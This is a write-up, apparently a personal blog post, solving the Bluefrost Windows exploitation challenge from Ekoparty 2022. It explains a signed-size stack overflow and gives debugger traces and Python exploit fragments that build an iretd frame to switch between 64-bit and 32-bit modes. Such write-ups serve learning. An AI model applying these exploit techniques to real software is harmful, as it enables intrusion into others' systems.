Bluefrost windows exploitation challenge for Ekoparty 2022

This challenge was made by @NicolasEconomou for Ekoparty 2022, and I really enjoyed trying to solve that challenge. The challenge is a vulnerable server allowing us to send it data and control the server buffer size leading to a stack buffer overflow. There are some trivial bugs, but they only are a bait for the real way to exploit it, crafted a stack layout for the iret instruction.

This challenge reserved memory at address 0x10000000 as a buffer used to store data sent by client. In every connection, that buffer is sanatized with pops eax, pushs eax and iretd. Furthermore, the server waits a packet with a header, with a field used as the server buffer size at address 0x10000000, that field is a signed short type so if I write -1 (0xFFFF) I’ll can pass the if statement if ( hdr.pkt_size > 0xF00 ), controlling the size of recv(a1, buf, (unsigned __int16)hdr.pkt_size, 0);, and lead a buffer overflow stack base in memcpy_with_filters(local_buffer, buf, lena);.

You can see it here:

  pkt_id = hdr.pkt_id;
  if ( hdr.pkt_id != 0x54 )
    return printf("  [-] Invalid packet type\n");
  // signed
  if ( hdr.pkt_size > 0xF00 )
    return printf("  [-] Invalid packet size\n");
  lena = recv(a1, buf, (unsigned __int16)hdr.pkt_size, 0);
  printf(" [+] Data received: %i bytes\n", lena);
  memcpy_with_filters(buffer, buf, lena);

pkt_id is a local variable below of local_buffer in the stack layout, then overflowing local_buffer I can overwrite in pkt_id with 0x58 value and trigger:

  if ( pkt_id == 0x58 )
  {
    off_7FF7DC4BC000 = (__int64 (__fastcall *)(_QWORD))&buf[lena];
    return off_7FF7DC4BC000(buffer);
  }

That call jump to pops eax, and after execute them the stack layout has my data:

0:000> u
00000000`10000f08 58              pop     rax
00000000`10000f09 58              pop     rax
00000000`10000f0a 58              pop     rax
00000000`10000f0b 58              pop     rax
00000000`10000f0c 58              pop     rax
00000000`10000f0d 58              pop     rax
00000000`10000f0e 58              pop     rax
00000000`10000f0f cf              iretd
0:000> t;r
00000000`10000f09 58              pop     rax
0:000> 
00000000`10000f0a 58              pop     rax
0:000> 
00000000`10000f0b 58              pop     rax
0:000> 
00000000`10000f0c 58              pop     rax
0:000> 
00000000`10000f0d 58              pop     rax
0:000> 
00000000`10000f0e 58              pop     rax
0:000> 
00000000`10000f0f cf              iretd
0:000> dq rsp
00000000`012fe8f0  41414141`41414141 41414141`41414141
00000000`012fe900  41414141`41414141 41414141`41414141
00000000`012fe910  41414141`41414141 41414141`41414141
00000000`012fe920  41414141`41414141 41414141`41414141
00000000`012fe930  41414141`41414141 41414141`41414141
00000000`012fe940  41414141`41414141 41414141`41414141
00000000`012fe950  41414141`41414141 41414141`41414141
00000000`012fe960  41414141`41414141 41414141`41414141

In the beginning, I didn’t understand why the iretd instruccion was there because I remembered that instruction is used only in CPL=0. I didn’t find other path to exploit the challenge so I went back to this point again I noticed that I was wrong, so I looked for what iretd instruction does, and found that is possible to use it in CPL=3.

AMD manuals says us1:

IRET_PROTECTED:

[...]

POP.v temp_RIP
POP.v temp_CS
POP.v temp_RFLAGS

[...]

IF ((64BIT_MODE) || (changing_CPL))
 POP.v temp_RSP // in 64-bit mode or changing CPL, IRET always pops SS:RSP
 POP.v temp_SS

Anyway, the instruction is iretd, not iretq, so I need to made the layout taking into account that the operand size is 32-bit.

The challenge has badchars, 0x2b and 0x33. Those bytes have a sense because 0x33 is the code segment selector in 64-bit mode of OS operation, so the autor’s idea is that my exploit should jump to compatibility mode (32-bit protected-mode). About 0x2b byte, it is used as a segment selector for DS, ES, and SS registers because its base is NULL, and it’s ignored only in 64-bit mode creating a flat 64-bit linear-address space. For 32-bit, I need to a valid segment selector in SS register like 0x2b, so Nico forces us to lookup another valid one.

32.1: kd> dg @ss
                                                    P Si Gr Pr Lo
Sel        Base              Limit          Type    l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
002B 00000000`00000000 00000000`ffffffff Data RW Ac 3 Bg Pg P  Nl 00000cf3

A segment selector has an index for the Descriptor Table (GDT/LDT), it contains segment descriptors, and it provides the size and location of the segment2. I dumped GDT but only there are few valid, and an only one that works for an user-mode context execution. I noticed that FS register has 0x53 value, and that segment selector is valid to be used by SS.

Let’s review this:

32.1: kd:x86> r @gdtr
The context is partially valid. Only x86 user-mode context is available.
gdtr=00000000
32.1: kd:x86> !wow64exts.sw	
The context is partially valid. Only x86 user-mode context is available.
Switched to Host mode
32.1: kd> r @gdtr
gdtr=ffff890065ff8fb0
32.1: kd> r
rax=000000000000000a rbx=00000000010cc000 rcx=000000007677f2e0
rdx=000000000148040a rsi=0000000001481fa0 rdi=0000000001482940
rip=0000000000e5101b rsp=00000000012ffb20 rbp=00000000012ffb64
 r8=000000000000002b  r9=00000000776d1dbc r10=0000000000000000
r11=0000000000000246 r12=00000000010cd000 r13=0000000000f1fda0
r14=0000000000f1edd0 r15=0000000077653620
iopl=0         nv up ei pl zr na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246

From FS, I can get the index of the global descriptor table. Segment selector

FS: 0x53, index 0xa, GDT: ffff890065ff8fb0

32.1: kd> ? 0x53 >> 3
Evaluate expression: 10 = 00000000`0000000a
32.1: kd> dd ffff890065ff8fb0 + a*8 l2
002b:ffff8900`65ff9000  f0007c00 0140f30c

Segment descriptor is a 8 bytes long as follow Segment descriptor

32.1: kd> ? (f0007c00 >> 0n16) | ((0140f30c & 0xFF) << 0n16)  | (0140f30c & 0xFF000000)
Evaluate expression: 17625088 = 00000000`010cf000
32.1: kd> ? (f0007c00 & 0xFFFF) | ((0140f30c >> 0n16) & 0xF)
Evaluate expression: 31744 = 00000000`00007c00
32.1: kd> dg @fs
                                                    P Si Gr Pr Lo
Sel        Base              Limit          Type    l ze an es ng Flags
---- ----------------- ----------------- ---------- - -- -- -- -- --------
0053 00000000`010cf000 00000000`00007c00 Data RW Ac 3 Bg By P  Nl 000004f3

Adding whole I said before, made the right layout for the iret instruction.

ctx_switch_64to32 = [
	p32(0x10000000),		# RIP
	p32(0x23),				  # CS (switch to x86)
	p32(0x246),				  # EFLAGS
	p32(0x10000000 + 0x800), # RSP
	p32(0x53)				 		# SS
]

Now, after some tests, I noticed that the best way it’s return to 64-bit mode from compatibility mode (Intel’s manual called IA32-e mode). On Windows exists Wow64 (Windows 32-bit on Windows 64-bit), and it’s an interface where the execution begins from compatibility mode to 64-bit mode through a far jump.

0:000> u ntdll!NtResumeThread
ntdll!NtResumeThread:
77cf50a0 b852000700      mov     eax,70052h
77cf50a5 ba208fd177      mov     edx,offset ntdll!Wow64SystemServiceCall (77d18f20)
77cf50aa ffd2            call    edx
77cf50ac c20800          ret     8
0:000> u ntdll!Wow64SystemServiceCall l1
ntdll!Wow64SystemServiceCall:
77d18f20 ff2520c2da77    jmp     dword ptr [ntdll!Wow64Transition (77dac220)]
0:000> dd 77dac220 l1
77dac220  77c76000
0:000> dt _TEB -y wow
ntdll!_TEB
   +0x0c0 WOW32Reserved : Ptr32 Void
   +0xfdc WowTebOffset : Int4B0:000> dd fs:[0xC0] l1
0053:000000c0  77c76000 
0:000> u 77c76000 l1
77c76000 ea0960c7773300  jmp     0033:77C76009

Then, I can use the far jump to go back to 64-bit mode and execute my shellcode or use the iret instruction again to return to 64-bit mode, but it’s important to fix the stack segment selector before.

why?

0:000> g;r
(7860.3ea4): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=10000000 ecx=c817f888 edx=00000000 esi=00000000 edi=1684c220
eip=10000001 esp=10000800 ebp=00000000 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=0053  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
10000001 c74424102b000000 mov     dword ptr [esp+10h],2Bh ss:0053:10000810=????????

To fix the SS register, only need to move the value 0x2b to SS and then the exploit can switch to 64-bit.

ctx_switch_32to64_jmp = [
	# jmp far 033:address
	b'\xea',          # jmp far
	p32(0x10000000),  # address
	b'\x33\x00'       # CS
]
ctx_switch_32to64_jmp[1] = p32(0x10000000 + 
                len(b''.join(ctx_switch_64to32)) +
                len(b''.join(ctx_switch_32to64_jmp))
								)

ctx_switch_32to64_iret = [
	##### x86

	# fix stack segment
	b'\xb8' + p32(0x2b), # mov eax, 2bh
	b'\x8e\xd0',         # mov ss, ax
	b'\x90',             # nop
	
	b'\x6a\x2b',         # push 2bh
	b'\x68' + p32(0x10000000 + 0x800), # push 1000800h
	b'\x68' + p32(0x246), # push 46h -> EFLAGS
	b'\x6a\x33',          # push 33h -> CS
	b'\xe8' + p32(0),     # call $+5
	b'\x83\x04\x24\x05',  # add dword ptr [esp], 5 -> EIP: jump to fix_stack_addr
	b'\xcf',              # iretd

]

pkg += b''.join(ctx_switch_32to64_jmp) if USE_JMPFAR else b''.join(ctx_switch_32to64_iret)

And that’s it. I really enjoy this, because I needed to read the AMD/Intel manuals as my beginnings in RE. You can find my full exploit in my github.

Written by Nox

  1. Return from Interrupt - AMD64 Architecture Programmer’s Manual, Volume 3: General-Purpose and System Instructions. 

  2. 3.4.5 Segment Descriptors - Intel® 64 and IA-32 Architectures SDM